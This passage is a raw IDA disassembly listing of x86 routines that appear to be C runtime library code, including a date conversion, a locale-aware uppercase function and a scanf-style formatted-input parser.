[ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_435FF4 test eax, eax jz short loc_41D59A mov [ebp+var_4], 1 call eax ; sub_41D4FC jmp short loc_41D596 ; --------------------------------------------------------------------------- loc_41D58F: ; DATA XREF: ___:004248D0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D593: ; DATA XREF: ___:004248D4o mov esp, [ebp+var_18] loc_41D596: ; CODE XREF: sub_41D552+3Bj and [ebp+var_4], 0 loc_41D59A: ; CODE XREF: sub_41D552+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D5A3: ; DATA XREF: ___:004248C8o jmp sub_41D4FC sub_41D552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5A8 proc near ; CODE XREF: sub_418603+7p ; sub_418603+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4CF028 push esi cmp eax, 3 jnz short loc_41D5D1 mov esi, [ebp+arg_0] push esi call sub_41AD89 test eax, eax pop ecx jz short loc_41D5CE mov eax, [esi-4] sub eax, 9 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5CE: ; CODE XREF: sub_41D5A8+1Cj push esi jmp short loc_41D5F8 ; --------------------------------------------------------------------------- loc_41D5D1: ; CODE XREF: sub_41D5A8+Ej cmp eax, 2 jnz short loc_41D5F5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_41D5F5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5F5: ; CODE XREF: sub_41D5A8+2Cj ; sub_41D5A8+43j push [ebp+arg_0] loc_41D5F8: ; CODE XREF: sub_41D5A8+27j push 0 push dword_4CF024 nop call near ptr 286051Bh loc_41D606: ; CODE XREF: sub_41D5A8+24j ; sub_41D5A8+4Bj pop esi leave retn sub_41D5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D609 proc near ; CODE XREF: sub_4186B1+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41D6C5 cmp ebx, 8Ah jg loc_41D6C5 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_436724[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41D648 cmp edi, 2 jle short loc_41D648 inc esi loc_41D648: ; CODE XREF: sub_41D609+37j ; sub_41D609+3Cj call sub_420939 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_436640 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41D6BB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41D6C1 cmp dword_436644, 0 jz short loc_41D6C1 lea eax, [ebp+var_24] push eax call sub_420BAC pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41D6C1 loc_41D6BB: ; CODE XREF: sub_41D609+90j add ecx, dword_436648 loc_41D6C1: ; CODE XREF: sub_41D609+96j ; sub_41D609+9Fj ... mov eax, ecx jmp short loc_41D6C8 ; --------------------------------------------------------------------------- loc_41D6C5: ; CODE XREF: sub_41D609+13j ; sub_41D609+1Fj or eax, 0FFFFFFFFh loc_41D6C8: ; CODE XREF: sub_41D609+BAj pop ebx leave retn sub_41D609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6CB proc near ; CODE XREF: sub_418833+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4CDA48, 0 push ebx jnz short loc_41D6F6 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41D794 cmp eax, 7Ah jg loc_41D794 sub eax, 20h jmp loc_41D794 ; --------------------------------------------------------------------------- loc_41D6F6: ; CODE XREF: sub_41D6CB+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41D729 cmp dword_433E7C, 1 jle short loc_41D716 push 2 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41D721 ; --------------------------------------------------------------------------- loc_41D716: ; CODE XREF: sub_41D6CB+3Dj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 2 loc_41D721: ; CODE XREF: sub_41D6CB+49j test eax, eax jnz short loc_41D729 loc_41D725: ; CODE XREF: sub_41D6CB+AFj mov eax, ebx jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D729: ; CODE XREF: sub_41D6CB+34j ; sub_41D6CB+58j mov edx, off_433C70 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D74C and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41D755 ; --------------------------------------------------------------------------- loc_41D74C: ; CODE XREF: sub_41D6CB+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41D755: ; CODE XREF: sub_41D6CB+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_41D725 cmp eax, 1 jnz short loc_41D787 movzx eax, [ebp+var_4] jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D787: ; CODE XREF: sub_41D6CB+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D794: ; CODE XREF: sub_41D6CB+14j ; sub_41D6CB+1Dj ... pop ebx leave retn sub_41D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D797 proc near ; CODE XREF: sub_418A52+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41E19D mov edi, [ebp+arg_0] jmp short loc_41D7C6 ; --------------------------------------------------------------------------- loc_41D7C1: ; CODE XREF: sub_41D797+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41D7C6: ; CODE XREF: sub_41D797+28j cmp dword_433E7C, 1 jle short loc_41D7DE movzx eax, al push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D7ED ; --------------------------------------------------------------------------- loc_41D7DE: ; CODE XREF: sub_41D797+36j mov ecx, off_433C70 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41D7ED: ; CODE XREF: sub_41D797+45j cmp eax, ebx jz short loc_41D827 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41E224 pop ecx pop ecx push eax call sub_41E20D movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 add esp, 0Ch loc_41D815: ; CODE XREF: sub_41D797+8Ej test eax, eax jz short loc_41D827 movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 pop ecx jmp short loc_41D815 ; --------------------------------------------------------------------------- loc_41D827: ; CODE XREF: sub_41D797+58j ; sub_41D797+80j cmp byte ptr [esi], 25h jnz loc_41E109 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41D85E: ; CODE XREF: sub_41D797+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_433E7C, 1 jle short loc_41D87B movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D88A ; --------------------------------------------------------------------------- loc_41D87B: ; CODE XREF: sub_41D797+D3j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D88A: ; CODE XREF: sub_41D797+E2j test eax, eax jz short loc_41D8A0 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8A0: ; CODE XREF: sub_41D797+F5j cmp ebx, 4Eh jg short loc_41D8E3 jz short loc_41D905 cmp ebx, 2Ah jz short loc_41D8DE cmp ebx, 46h jz short loc_41D905 cmp ebx, 49h jz short loc_41D8C0 cmp ebx, 4Ch jnz short loc_41D8F2 inc [ebp+var_D] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8C0: ; CODE XREF: sub_41D797+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41D8F2 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41D8F2 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8DE: ; CODE XREF: sub_41D797+113j inc [ebp+var_E] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8E3: ; CODE XREF: sub_41D797+10Cj cmp ebx, 68h jz short loc_41D8FF cmp ebx, 6Ch jz short loc_41D8F7 cmp ebx, 77h jz short loc_41D8FA loc_41D8F2: ; CODE XREF: sub_41D797+122j ; sub_41D797+12Dj ... inc [ebp+var_F] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8F7: ; CODE XREF: sub_41D797+154j inc [ebp+var_D] loc_41D8FA: ; CODE XREF: sub_41D797+159j inc [ebp+var_5] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8FF: ; CODE XREF: sub_41D797+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41D905: ; CODE XREF: sub_41D797+107j ; sub_41D797+10Ej ... cmp [ebp+var_F], 0 jz loc_41D85E cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41D92A mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41D92A: ; CODE XREF: sub_41D797+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41D948 mov al, [esi] cmp al, 53h jz short loc_41D944 cmp al, 43h jz short loc_41D944 or [ebp+var_5], 0FFh jmp short loc_41D948 ; --------------------------------------------------------------------------- loc_41D944: ; CODE XREF: sub_41D797+1A1j ; sub_41D797+1A5j mov [ebp+var_5], 1 loc_41D948: ; CODE XREF: sub_41D797+19Bj ; sub_41D797+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41D981 cmp esi, 63h jz short loc_41D972 cmp esi, 7Bh jz short loc_41D972 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41E224 pop ecx jmp short loc_41D97D ; --------------------------------------------------------------------------- loc_41D972: ; CODE XREF: sub_41D797+1C5j ; sub_41D797+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 loc_41D97D: ; CODE XREF: sub_41D797+1D9j pop ecx mov [ebp+var_14], eax loc_41D981: ; CODE XREF: sub_41D797+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41D991 cmp [ebp+var_C], eax jz loc_41E16D loc_41D991: ; CODE XREF: sub_41D797+1EFj cmp esi, 6Fh jg loc_41DBF8 jz loc_41DEAA cmp esi, 63h jz loc_41DBD5 cmp esi, 64h jz loc_41DEAA jle loc_41DC22 cmp esi, 67h jle short loc_41D9F5 cmp esi, 69h jz short loc_41D9DD cmp esi, 6Eh jnz loc_41DC22 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41E0D8 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41D9DD: ; CODE XREF: sub_41D797+229j push 64h pop esi loc_41D9E0: ; CODE XREF: sub_41D797+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41DC6A mov [ebp+var_17], 1 jmp loc_41DC6F ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D797+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41DA11 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41DA16 ; --------------------------------------------------------------------------- loc_41DA11: ; CODE XREF: sub_41D797+26Aj cmp ebx, 2Bh jnz short loc_41DA2D loc_41DA16: ; CODE XREF: sub_41D797+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41DA2D: ; CODE XREF: sub_41D797+27Dj mov edi, [ebp+arg_0] loc_41DA30: ; CODE XREF: sub_41D797+294j cmp [ebp+var_20], 0 jz short loc_41DA3F cmp [ebp+var_C], 15Dh jle short loc_41DA46 loc_41DA3F: ; CODE XREF: sub_41D797+29Dj mov [ebp+var_C], 15Dh loc_41DA46: ; CODE XREF: sub_41D797+2A6j ; sub_41D797+2F2j cmp dword_433E7C, 1 jle short loc_41DA5B push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DA66 ; --------------------------------------------------------------------------- loc_41DA5B: ; CODE XREF: sub_41D797+2B6j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DA66: ; CODE XREF: sub_41D797+2C2j test eax, eax jz short loc_41DA8B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DA8B inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA46 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41D797+2D1j ; sub_41D797+2DBj cmp byte_433E80, bl jnz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax mov al, byte_433E80 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41DAB4: ; CODE XREF: sub_41D797+360j cmp dword_433E7C, 1 jle short loc_41DAC9 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DAD4 ; --------------------------------------------------------------------------- loc_41DAC9: ; CODE XREF: sub_41D797+324j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DAD4: ; CODE XREF: sub_41D797+330j test eax, eax jz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DAB4 ; --------------------------------------------------------------------------- loc_41DAF9: ; CODE XREF: sub_41D797+2FAj ; sub_41D797+304j ... cmp [ebp+var_1C], 0 jz loc_41DB91 cmp ebx, 65h jz short loc_41DB11 cmp ebx, 45h jnz loc_41DB91 loc_41DB11: ; CODE XREF: sub_41D797+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41DB38 mov [esi], al inc esi jmp short loc_41DB3D ; --------------------------------------------------------------------------- loc_41DB38: ; CODE XREF: sub_41D797+39Aj cmp ebx, 2Bh jnz short loc_41DB5B loc_41DB3D: ; CODE XREF: sub_41D797+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41DB4C and [ebp+var_C], eax jmp short loc_41DB5B ; --------------------------------------------------------------------------- loc_41DB4C: ; CODE XREF: sub_41D797+3AEj ; sub_41D797+3F8j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DB5B: ; CODE XREF: sub_41D797+3A4j ; sub_41D797+3B3j cmp dword_433E7C, 1 jle short loc_41DB70 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DB7B ; --------------------------------------------------------------------------- loc_41DB70: ; CODE XREF: sub_41D797+3CBj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DB7B: ; CODE XREF: sub_41D797+3D7j test eax, eax jz short loc_41DB91 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41DB4C ; --------------------------------------------------------------------------- loc_41DB91: ; CODE XREF: sub_41D797+366j ; sub_41D797+374j ... dec [ebp+var_4] push edi push ebx call sub_41E20D cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_435FD8 add esp, 0Ch jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DBD5: ; CODE XREF: sub_41D797+20Cj cmp [ebp+var_20], eax jnz short loc_41DBE4 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41DBE4: ; CODE XREF: sub_41D797+441j cmp [ebp+var_5], 0 jle short loc_41DBEE mov [ebp+var_16], 1 loc_41DBEE: ; CODE XREF: sub_41D797+451j mov edi, offset dword_436000 jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DBF8: ; CODE XREF: sub_41D797+1FDj mov eax, esi sub eax, 70h jz loc_41DEA6 sub eax, 3 jz loc_41DCF4 dec eax dec eax jz loc_41DEAA sub eax, 3 jz loc_41D9E0 sub eax, 3 jz short loc_41DC46 loc_41DC22: ; CODE XREF: sub_41D797+21Bj ; sub_41D797+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41E16D dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41E0FE mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DC46: ; CODE XREF: sub_41D797+489j cmp [ebp+var_5], 0 jle short loc_41DC50 mov [ebp+var_16], 1 loc_41DC50: ; CODE XREF: sub_41D797+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41DD07 mov eax, edi lea edi, [eax+1] jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DC6A: ; CODE XREF: sub_41D797+24Fj cmp ebx, 2Bh jnz short loc_41DC91 loc_41DC6F: ; CODE XREF: sub_41D797+259j dec [ebp+var_C] jnz short loc_41DC80 cmp [ebp+var_20], 0 jz short loc_41DC80 mov [ebp+var_F], 1 jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D797+4DBj ; sub_41D797+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DC91: ; CODE XREF: sub_41D797+4D6j ; sub_41D797+4E7j cmp ebx, 30h jnz loc_41DEDF push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41DCDF cmp bl, 58h jz short loc_41DCDF cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41DCC9 push 6Fh loc_41DCC3: ; CODE XREF: sub_41D797+55Bj pop esi jmp loc_41DEDF ; --------------------------------------------------------------------------- loc_41DCC9: ; CODE XREF: sub_41D797+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx push 30h pop ebx jmp loc_41DEDC ; --------------------------------------------------------------------------- loc_41DCDF: ; CODE XREF: sub_41D797+517j ; sub_41D797+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41DCC3 ; --------------------------------------------------------------------------- loc_41DCF4: ; CODE XREF: sub_41D797+46Fj cmp [ebp+var_5], 0 jle short loc_41DCFE mov [ebp+var_16], 1 loc_41DCFE: ; CODE XREF: sub_41D797+561j mov edi, offset dword_435FF8 loc_41DD03: ; CODE XREF: sub_41D797+45Cj ; sub_41D797+4CEj or [ebp+var_18], 0FFh loc_41DD07: ; CODE XREF: sub_41D797+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_417330 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41DD2B cmp byte ptr [edi], 5Dh jnz short loc_41DD2B mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD2B: ; CODE XREF: sub_41D797+584j ; sub_41D797+589j mov dl, [ebp+var_35] loc_41DD2E: ; CODE XREF: sub_41D797+592j ; sub_41D797+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41DD93 inc edi cmp al, 2Dh jnz short loc_41DD7A test dl, dl jz short loc_41DD7A mov cl, [edi] cmp cl, 5Dh jz short loc_41DD7A inc edi cmp dl, cl jnb short loc_41DD4D mov al, cl jmp short loc_41DD51 ; --------------------------------------------------------------------------- loc_41DD4D: ; CODE XREF: sub_41D797+5B0j mov al, dl mov dl, cl loc_41DD51: ; CODE XREF: sub_41D797+5B4j cmp dl, al ja short loc_41DD76 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41DD5E: ; CODE XREF: sub_41D797+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41DD5E loc_41DD76: ; CODE XREF: sub_41D797+5BCj xor dl, dl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD7A: ; CODE XREF: sub_41D797+5A0j ; sub_41D797+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD93: ; CODE XREF: sub_41D797+59Bj cmp byte ptr [edi], 0 jz loc_41E19D cmp [ebp+var_3C], 7Bh jnz short loc_41DDA5 mov [ebp+arg_4], edi loc_41DDA5: ; CODE XREF: sub_41D797+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41E20D pop ecx pop ecx loc_41DDBC: ; CODE XREF: sub_41D797+6BCj ; sub_41D797+6C4j cmp [ebp+var_20], 0 jz short loc_41DDD0 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41DE6C loc_41DDD0: ; CODE XREF: sub_41D797+629j inc [ebp+var_4] push edi call sub_41E1F3 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41DE60 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41DE60 cmp [ebp+var_E], 0 jnz short loc_41DE58 cmp [ebp+var_16], 0 jz short loc_41DE4D mov ecx, off_433C70 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41DE2C inc [ebp+var_4] push edi call sub_41E1F3 pop ecx mov [ebp+var_37], al loc_41DE2C: ; CODE XREF: sub_41D797+686j push dword_433E7C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_420E98 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41DE50 ; --------------------------------------------------------------------------- loc_41DE4D: ; CODE XREF: sub_41D797+673j mov [esi], al inc esi loc_41DE50: ; CODE XREF: sub_41D797+6B4j mov [ebp+var_2C], esi jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE58: ; CODE XREF: sub_41D797+66Dj inc [ebp+var_30] jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE60: ; CODE XREF: sub_41D797+649j ; sub_41D797+667j dec [ebp+var_4] push edi push eax call sub_41E20D pop ecx pop ecx loc_41DE6C: ; CODE XREF: sub_41D797+633j cmp [ebp+var_30], esi jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41E0FE cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41DE9E and word ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DE9E: ; CODE XREF: sub_41D797+6FCj and byte ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DEA6: ; CODE XREF: sub_41D797+466j mov [ebp+var_D], 1 loc_41DEAA: ; CODE XREF: sub_41D797+203j ; sub_41D797+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41DEB8 mov [ebp+var_17], 1 jmp short loc_41DEBD ; --------------------------------------------------------------------------- loc_41DEB8: ; CODE XREF: sub_41D797+719j cmp ebx, 2Bh jnz short loc_41DEDF loc_41DEBD: ; CODE XREF: sub_41D797+71Fj dec [ebp+var_C] jnz short loc_41DECE cmp [ebp+var_20], 0 jz short loc_41DECE mov [ebp+var_F], 1 jmp short loc_41DEDF ; --------------------------------------------------------------------------- loc_41DECE: ; CODE XREF: sub_41D797+729j ; sub_41D797+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax loc_41DEDC: ; CODE XREF: sub_41D797+543j mov [ebp+var_14], ebx loc_41DEDF: ; CODE XREF: sub_41D797+4FDj ; sub_41D797+52Dj ... cmp [ebp+var_30], 0 jz loc_41DFF8 cmp [ebp+var_F], 0 jnz loc_41DFD6 loc_41DEF3: ; CODE XREF: sub_41D797+82Cj cmp esi, 78h jnz short loc_41DF47 cmp dword_433E7C, 1 jle short loc_41DF10 push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF1D ; --------------------------------------------------------------------------- loc_41DF10: ; CODE XREF: sub_41D797+768j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 80h loc_41DF1D: ; CODE XREF: sub_41D797+777j test eax, eax jz loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_420F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DF9A ; --------------------------------------------------------------------------- loc_41DF47: ; CODE XREF: sub_41D797+75Fj cmp dword_433E7C, 1 jle short loc_41DF5C push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF67 ; --------------------------------------------------------------------------- loc_41DF5C: ; CODE XREF: sub_41D797+7B7j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DF67: ; CODE XREF: sub_41D797+7C3j test eax, eax jz short loc_41DFC8 cmp esi, 6Fh jnz short loc_41DF85 cmp ebx, 38h jge short loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_420F90 jmp short loc_41DF94 ; --------------------------------------------------------------------------- loc_41DF85: ; CODE XREF: sub_41D797+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_417760 loc_41DF94: ; CODE XREF: sub_41D797+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41DF9A: ; CODE XREF: sub_41D797+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41DFB2 dec [ebp+var_C] jz short loc_41DFD6 loc_41DFB2: ; CODE XREF: sub_41D797+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41DEF3 ; --------------------------------------------------------------------------- loc_41DFC8: ; CODE XREF: sub_41D797+788j ; 